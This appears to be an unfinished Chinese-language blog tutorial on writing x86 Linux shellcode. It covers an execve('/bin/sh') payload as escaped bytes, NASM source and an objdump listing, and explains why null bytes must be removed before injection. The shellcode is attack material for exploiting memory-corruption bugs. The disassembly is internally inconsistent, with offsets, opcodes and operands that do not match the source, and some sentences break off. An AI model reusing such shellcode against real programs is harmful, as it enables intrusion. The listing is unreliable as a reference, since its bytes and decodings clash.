Shellcode 手册 02 (Incomplete)

精准的失控

这是上一次我们写了 NASM 之后得到的machine code 然后写成的 shellcode。


      \xeb\x18\x5e\xb8\x00\x00\x00\x00\x89\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x00\x00\x00
      \x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
    

简单的来说上面的 shellcode 一定是不可行的,根本在 C 语言上运行不能。 因为

我们不能有 NULL, 何谓 NULL?就是“无”的状态。C 里面我们是用 "NULL" 或是 0 表示。而在汇编中会被编译成 0x00 所以当我们拿含有 NULL 的 shellcode 注入到软件的 string 里去的时候,指针就会在 NULL 的那点停止,后面的数据作废处理。

我们的 shellcode 必须要是

回到 NASM 代码来,重新设计过一次

section .text
    global _start:
    _start:
      jmp goto
      
    shellcode:
      pop esi
      mov eax,0
      mov [esi+7], eax
      mov [esi+8], esi
      mov [esi+12], eax
      mov eax, 11
      lea ebx, [esi]
      lea ecx, [esi+7]
      lea edx, [esi+12]
      int 80h
    
    goto:
      call shellcode
      db "/bin/sh"
    

还有对比编译后的

objdump -D shellcode.o
    
    get_shell.o:     file format elf32-i386
    
    Disassembly of section .text:
    
    00000000 <shellcode-0x2>:
       0:   eb 18                   jmp    1a <goto>
    
    00000002 <shellcode>:
       2:   5e                      pop    %esi
       3:   b8 00 00 00 00          mov    $0x0,%eax
       5:   89 46 07                mov    %eax,0x7(%esi)
       8:   89 76 08                mov    %esi,0x8(%esi)
       b:   89 46 0c                mov    %eax,0xc(%esi)
       e:   b0 0b 00 00 00          mov    $0xb,%eax
      10:   8d 1e                   lea    (%esi),%ebx
      12:   8d 4e 08                lea    0x8(%esi),%ecx
      15:   8d 56 0c                lea    0xc(%esi),%edx
      18:   cd 80                   int    $0x80
    
    0000001a <goto>:
      1a:   e8 e3 ff ff ff          call   2 <shellcode>
      1f:   2f                      das    
      20:   62 69 6e                bound  %ebp,0x6e(%ecx)
      23:   2f                      das    
      24:   73 68                   jae    8e <goto+0x74>
    

register 的结构,分配

拿 EAX 来做例子, EAX 是个 register, 可以用作 pointer, 在 32 bit 作业系统可容纳 4 bytes,因此我们的代码编译器会将 EAX 分配 4 bytes 的空位,用作存储数据。EAX 其实是 Extended AX。是 AX 的扩展版,EAX 由两个 AX 组成。而 16bit 的

< -待续--- Sunday 15 June 18:32 -->